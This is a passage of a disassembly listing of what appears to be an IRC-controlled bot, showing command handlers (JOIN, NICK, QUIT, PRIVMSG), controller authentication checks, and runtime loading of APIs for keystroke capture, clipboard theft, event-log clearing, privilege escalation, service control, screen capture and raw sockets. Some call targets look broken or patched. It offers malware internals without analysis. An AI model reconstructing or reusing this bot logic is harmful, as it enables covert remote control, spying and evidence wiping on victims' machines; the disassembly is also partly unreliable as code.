		pop	ecx
		jle	loc_401E94
		push	esi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_401E94
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A2C
		pop	ecx
		pop	ecx
		push	1F4h
		call	near ptr 26903FCh
		nop
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	dword_4CB00C
		push	[ebp+var_10]
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEC4[eax]
		nop
		call	near ptr 26A0C3Ch
		push	esi
		call	sub_41B779
		imul	eax, 234h
		push	esi
		mov	dword_43DEC4[eax], ebx
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		pop	ecx
		mov	byte ptr dword_43DCB0[eax], bl
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_4095D5:				; CODE XREF: sub_401ACD+3DCBj
					; sub_401ACD+3DE0j
		push	[ebp+arg_10]
		push	offset aAll	; "all"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409641
		call	sub_40B2BF
		cmp	eax, ebx
		jle	short loc_4095FC
		push	eax
		push	offset unk_4296BC
		jmp	loc_408CDB
; ---------------------------------------------------------------------------


loc_4095FC:				; CODE XREF: sub_401ACD+7B22j
		push	offset unk_429694


loc_409601:				; CODE XREF: sub_401ACD+24F9j
					; sub_401ACD+2518j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40960F:				; CODE XREF: sub_401ACD+721Dj
		cmp	[ebp+var_8], ebx
		jnz	short loc_409630
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_409628:				; CODE XREF: sub_401ACD+6DB4j
		call	sub_409A72
		add	esp, 14h


loc_409630:				; CODE XREF: sub_401ACD+26F6j
					; sub_401ACD+2721j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		jmp	loc_40207D
; ---------------------------------------------------------------------------


loc_409641:				; CODE XREF: sub_401ACD+7B19j
		mov	eax, [ebp+var_AC]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_401E94
		lea	eax, [ebp+edi*4+var_90]
		mov	[ebp+arg_24], eax


loc_40965D:				; CODE XREF: sub_401ACD+7C01j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_401E94
		push	esi
		call	sub_41B779
		push	eax
		call	sub_40B231
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_409684
		push	offset unk_429670
		jmp	short loc_409689
; ---------------------------------------------------------------------------


loc_409684:				; CODE XREF: sub_401ACD+7BAEj
		push	offset unk_429644


loc_409689:				; CODE XREF: sub_401ACD+7BB5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4096B9
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_4096B9:				; CODE XREF: sub_401ACD+7BCEj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_40965D
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_4096D5:				; CODE XREF: sub_401ACD+3DA1j
					; sub_401ACD+3DB6j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	esi
		push	offset dword_429DB0
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	offset dword_429628
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_409711:				; CODE XREF: sub_401ACD+3D77j
					; sub_401ACD+3D8Cj
		push	[ebp+arg_10]
		push	offset dword_429D14
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429604
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_409731:				; CODE XREF: sub_401ACD+3D4Dj
					; sub_401ACD+3D62j
		push	[ebp+esi+var_88]
		push	[ebp+arg_10]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset unk_4295E0
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_409758:				; CODE XREF: sub_401ACD+3D23j
					; sub_401ACD+3D38j
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_4295BC
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_409778:				; CODE XREF: sub_401ACD+3163j
					; sub_401ACD+3178j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429598
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h


loc_4097B2:				; CODE XREF: sub_401ACD+7D33j
		push	eax
		nop
		call	near ptr 26903FCh


loc_4097B9:				; CODE XREF: sub_401ACD+2AA2j
		xor	eax, eax
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_4097C0:				; CODE XREF: sub_401ACD+3139j
					; sub_401ACD+314Ej
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429570
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		imul	eax, 3E8h
		jmp	short loc_4097B2
; ---------------------------------------------------------------------------


loc_409802:				; CODE XREF: sub_401ACD+EC8j
					; sub_401ACD+EDDj
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_42909C
		push	eax
		call	sub_40B08D
		add	esp, 10h
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		lea	eax, [ebp+var_338]
		push	eax
		push	offset unk_42954C


loc_40984D:				; CODE XREF: sub_401ACD+70B4j
					; sub_401ACD+778Aj ...
		call	sub_415220
		pop	ecx


loc_409853:				; CODE XREF: sub_401ACD+6CB9j
		pop	ecx


loc_409854:				; CODE XREF: sub_401ACD+659j
					; sub_401ACD+665j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_40985C:				; CODE XREF: sub_401ACD+AB5j
					; sub_401ACD+AC8j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_10], esi
		jz	loc_401E94
		cmp	[ebp+var_A4], ebx
		jnz	loc_401E94
		push	offset asc_42CA28 ; "!"
		push	[ebp+var_90]
		call	sub_41C0F4
		mov	esi, eax
		push	offset dword_4CAE2C
		push	ebx
		inc	esi
		call	sub_41C0F4
		push	offset asc_429548 ; "~"
		push	eax
		call	sub_41C0F4
		push	[ebp+arg_10]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_41C070
		add	esp, 20h
		test	eax, eax
		jz	short loc_4098FB
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_4294C8
		jmp	loc_40240A
; ---------------------------------------------------------------------------


loc_4098FB:				; CODE XREF: sub_401ACD+7DEAj
		mov	[ebp+arg_24], offset off_429160


loc_409902:				; CODE XREF: sub_401ACD+7E51j
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_40B44F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409962
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_429164
		jb	short loc_409902
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429474
		jmp	loc_40240A
; ---------------------------------------------------------------------------


loc_409962:				; CODE XREF: sub_401ACD+7E44j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_409967:				; CODE XREF: sub_401ACD+7EC4j
		cmp	[ebp+arg_10], ebx
		jz	loc_401E94
		cmp	[edi], bl
		jnz	short loc_409987
		push	[ebp+arg_10]
		push	offset aCool	; "cool"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409998


loc_409987:				; CODE XREF: sub_401ACD+7EA5j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409967
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_409998:				; CODE XREF: sub_401ACD+7EB8j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E00]
		push	7Fh
		push	eax
		push	esi
		call	sub_41B5F0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4099CF
		push	ebx
		push	[ebp+var_4]
		push	offset unk_429454
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_4099CF:				; CODE XREF: sub_401ACD+7EE6j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_429434
		jmp	loc_402077
; ---------------------------------------------------------------------------


loc_4099E0:				; CODE XREF: sub_401ACD+20Ej
					; sub_401ACD+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	offset aXI	; "-x+i"
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		mov	dword_4CAE24, edi
		jmp	loc_401D6A
sub_401ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A2C	proc near		; CODE XREF: sub_401955+3Dp
					; sub_401ACD+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41C190
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		leave
		retn
sub_409A2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A72	proc near		; CODE XREF: sub_401ACD+518p
					; sub_401ACD+137Dp ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_409A8D
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_409A8D:				; CODE XREF: sub_409A72+14j
		push	edi
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41AFE0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_409B10
		push	7D0h
		call	near ptr 26903FCh
		nop

locret_409B10:				; CODE XREF: sub_409A72+91j
		leave
		retn
sub_409A72	endp


; =============== S U B	R O U T	I N E =======================================



sub_409B12	proc near		; CODE XREF: ___:0040126Cp
		push	ebx
		push	ebp
		mov	ebp, dword_42709C
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4270BC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409C32
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4CB020, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4CAF94, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4CAF78, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4CAE88, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4CAE34, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4CAE64, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4CAEDC, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4CAFD4, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4CB030, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4CAE94, eax
		call	esi
		cmp	dword_4CB020, ebx
		mov	dword_4CAE7C, eax
		jz	short loc_409C10
		cmp	dword_4CAF94, ebx
		jz	short loc_409C10
		cmp	dword_4CAF78, ebx
		jz	short loc_409C10
		cmp	dword_4CAE88, ebx
		jz	short loc_409C10
		cmp	dword_4CAE64, ebx
		jz	short loc_409C10
		cmp	dword_4CAEDC, ebx
		jz	short loc_409C10
		cmp	dword_4CAFD4, ebx
		jz	short loc_409C10
		cmp	dword_4CB030, ebx
		jz	short loc_409C10
		cmp	dword_4CAE94, ebx
		jz	short loc_409C10
		cmp	eax, ebx
		jnz	short loc_409C1A


loc_409C10:				; CODE XREF: sub_409B12+B8j
					; sub_409B12+C0j ...
		mov	dword_4CB034, 1


loc_409C1A:				; CODE XREF: sub_409B12+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CAFAC, eax
		jz	short loc_409C47
		push	1
		push	ebx
		call	eax
		jmp	short loc_409C47
; ---------------------------------------------------------------------------


loc_409C32:				; CODE XREF: sub_409B12+1Dj
		nop
		call	near ptr 2690DCCh
		mov	dword_4CB038, eax
		mov	dword_4CB034, 1


loc_409C47:				; CODE XREF: sub_409B12+117j
					; sub_409B12+11Ej
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 26B0BEDh
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409D5C
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4CAFD0, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4CAF80, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4CAF14, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4CB024, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4CAF44, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4CAF64, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4CAFC8, eax
		call	esi
		cmp	dword_4CAFD0, ebx
		mov	dword_4CAEB4, eax
		jz	short loc_409D00
		cmp	dword_4CAF80, ebx
		jz	short loc_409D00
		cmp	dword_4CAF14, ebx
		jz	short loc_409D00
		cmp	dword_4CB024, ebx
		jz	short loc_409D00
		cmp	dword_4CAF44, ebx
		jz	short loc_409D00
		cmp	dword_4CAF64, ebx
		jz	short loc_409D00
		cmp	dword_4CAFC8, ebx
		jz	short loc_409D00
		cmp	eax, ebx
		jnz	short loc_409D0A


loc_409D00:				; CODE XREF: sub_409B12+1B8j
					; sub_409B12+1C0j ...
		mov	dword_4CB03C, 1


loc_409D0A:				; CODE XREF: sub_409B12+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4CAF40, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4CAE48, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4CAF10, eax
		call	esi
		cmp	dword_4CAF40, ebx
		mov	dword_4CAEF8, eax
		jz	short loc_409D67
		cmp	dword_4CAE48, ebx
		jz	short loc_409D67
		cmp	dword_4CAF10, ebx
		jz	short loc_409D67
		cmp	eax, ebx
		jnz	short loc_409D71
		jmp	short loc_409D67
; ---------------------------------------------------------------------------


loc_409D5C:				; CODE XREF: sub_409B12+144j
		nop
		call	near ptr 2690DCCh
		mov	dword_4CB040, eax


loc_409D67:				; CODE XREF: sub_409B12+232j
					; sub_409B12+23Aj ...
		mov	dword_4CB03C, 1


loc_409D71:				; CODE XREF: sub_409B12+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409F2A
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4CAFE4, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4CAF28, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4CAF98, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4CAE74, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4CAED8, eax
		call	esi
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4CAF50, eax
		call	esi
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4CAEF4, eax
		call	esi
		cmp	dword_4CAFE4, ebx
		mov	dword_4CAF04, eax
		jz	short loc_409E1A
		cmp	dword_4CAF28, ebx
		jz	short loc_409E1A
		cmp	dword_4CAF98, ebx
		jz	short loc_409E1A
		cmp	dword_4CAE74, ebx
		jz	short loc_409E1A
		cmp	dword_4CAED8, ebx
		jz	short loc_409E1A
		cmp	dword_4CAF50, ebx
		jnz	short loc_409E24


loc_409E1A:				; CODE XREF: sub_409B12+2DEj
					; sub_409B12+2E6j ...
		mov	dword_4CB044, 1


loc_409E24:				; CODE XREF: sub_409B12+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4CAF58, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4CAF30, eax
		call	esi
		cmp	dword_4CAF58, ebx
		mov	dword_4CAFE0, eax
		jz	short loc_409E5F
		cmp	dword_4CAF30, ebx
		jz	short loc_409E5F
		cmp	eax, ebx
		jnz	short loc_409E69


loc_409E5F:				; CODE XREF: sub_409B12+33Fj
					; sub_409B12+347j
		mov	dword_4CB044, 1


loc_409E69:				; CODE XREF: sub_409B12+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4CAF68, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4CAE50, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4CAE58, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4CAEBC, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4CAEC0, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4CAE6C, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4CAF34, eax
		call	esi
		cmp	dword_4CAF68, ebx
		mov	dword_4CAE5C, eax
		jz	short loc_409F0D
		cmp	dword_4CAE50, ebx
		jz	short loc_409F0D
		cmp	dword_4CAE58, ebx
		jz	short loc_409F0D
		cmp	dword_4CAEBC, ebx
		jz	short loc_409F0D
		cmp	dword_4CAEC0, ebx
		jz	short loc_409F0D
		cmp	dword_4CAE6C, ebx
		jz	short loc_409F0D
		cmp	dword_4CAF34, ebx
		jz	short loc_409F0D
		cmp	eax, ebx
		jnz	short loc_409F17


loc_409F0D:				; CODE XREF: sub_409B12+3C5j
					; sub_409B12+3CDj ...
		mov	dword_4CB044, 1


loc_409F17:				; CODE XREF: sub_409B12+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CAE54, eax
		jnz	short loc_409F3F
		jmp	short loc_409F35
; ---------------------------------------------------------------------------


loc_409F2A:				; CODE XREF: sub_409B12+26Aj
		call	near ptr 2690DCCh
		nop
		mov	dword_4CB048, eax


loc_409F35:				; CODE XREF: sub_409B12+416j
		mov	dword_4CB044, 1


loc_409F3F:				; CODE XREF: sub_409B12+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A00B
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4CAF60, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4CAFB8, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4CAFC0, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4CAF7C, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4CAE98, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4CAE44, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4CAFBC, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4CAE30, eax
		call	esi
		cmp	dword_4CAF60, ebx
		mov	dword_4CAED0, eax
		jz	short loc_40A016
		cmp	dword_4CAFB8, ebx
		jz	short loc_40A016
		cmp	dword_4CAFC0, ebx
		jz	short loc_40A016
		cmp	dword_4CAF7C, ebx
		jz	short loc_40A016
		cmp	dword_4CAE98, ebx
		jz	short loc_40A016
		cmp	dword_4CAE44, ebx
		jz	short loc_40A016
		cmp	dword_4CAFBC, ebx
		jz	short loc_40A016
		cmp	dword_4CAE30, ebx
		jz	short loc_40A016
		cmp	eax, ebx
		jnz	short loc_40A020
		jmp	short loc_40A016
; ---------------------------------------------------------------------------


loc_40A00B:				; CODE XREF: sub_409B12+438j
		nop
		call	near ptr 2690DCCh
		mov	dword_4CB050, eax


loc_40A016:				; CODE XREF: sub_409B12+4B9j
					; sub_409B12+4C1j ...
		mov	dword_4CB04C, 1


loc_40A020:				; CODE XREF: sub_409B12+4F5j
		mov	ebp, dword_4270B8
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A2DC
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4CAEE4, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4CB018, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4CAE84, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4CAE60, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4CAF20, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4CAF08, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4CAECC, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4CAFF4, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4CB010, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4CAF1C, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4CB000, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4CAFB4, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4CAF74, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4CAF70, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4CAEA4, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_4CAE9C, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4CAFC4, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4CAFD8, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4CAF8C, eax
		call	esi
		mov	dword_4CAF4C, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4CAFA0, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4CAF5C, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4CAF9C, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4CB008, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4CAF54, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4CAF18, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4CAF88, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4CAFF8, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4CAF2C, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4CAEC8, eax
		call	esi
		cmp	dword_4CAEE4, ebx
		mov	dword_4CB00C, eax
		jz	loc_40A2E7
		cmp	dword_4CB018, ebx
		jz	loc_40A2E7
		cmp	dword_4CAE84, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF20, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF08, ebx
		jz	loc_40A2E7
		cmp	dword_4CAECC, ebx
		jz	loc_40A2E7
		cmp	dword_4CAFF4, ebx
		jz	loc_40A2E7
		cmp	dword_4CB010, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF1C, ebx
		jz	loc_40A2E7
		cmp	dword_4CB000, ebx
		jz	loc_40A2E7
		cmp	dword_4CAFB4, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF74, ebx
		jz	loc_40A2E7
		cmp	dword_4CAF70, ebx
		jz	loc_40A2E7
		cmp	dword_4CAEA4, ebx
		jz	short loc_40A2E7
